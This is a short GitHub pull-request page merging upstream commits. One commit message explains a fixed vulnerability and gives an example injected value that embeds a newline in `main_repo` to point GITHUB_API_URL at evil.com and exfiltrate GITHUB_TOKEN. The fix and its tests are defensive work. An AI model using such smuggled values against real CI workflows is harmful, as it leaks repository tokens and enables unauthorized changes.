[pull] master from google:master#33
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pull[bot] merged 3 commits intothreatcode:masterfrom Apr 2, 2026
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Signed-off-by: David Korczynski <david@adalogics.com>
Signed-off-by: David Korczynski <david@adalogics.com>
An attacker can inject arbitrary env vars into the PR helper workflow by embedding newlines in `main_repo` (e.g. `"https://repo\nGITHUB_API_URL=https://evil.com"`). This exfiltrates `GITHUB_TOKEN` with `pull-requests: write` scope. - `save_env()`: switch to delimiter-based format (`NAME<<UUID`) structurally immune to injection - `_sanitize_repo_url()`: strip control chars + validate scheme via `urlparse` New tests in `pr_helper_test.py` covering injection scenarios and URL format regression. b/483022611
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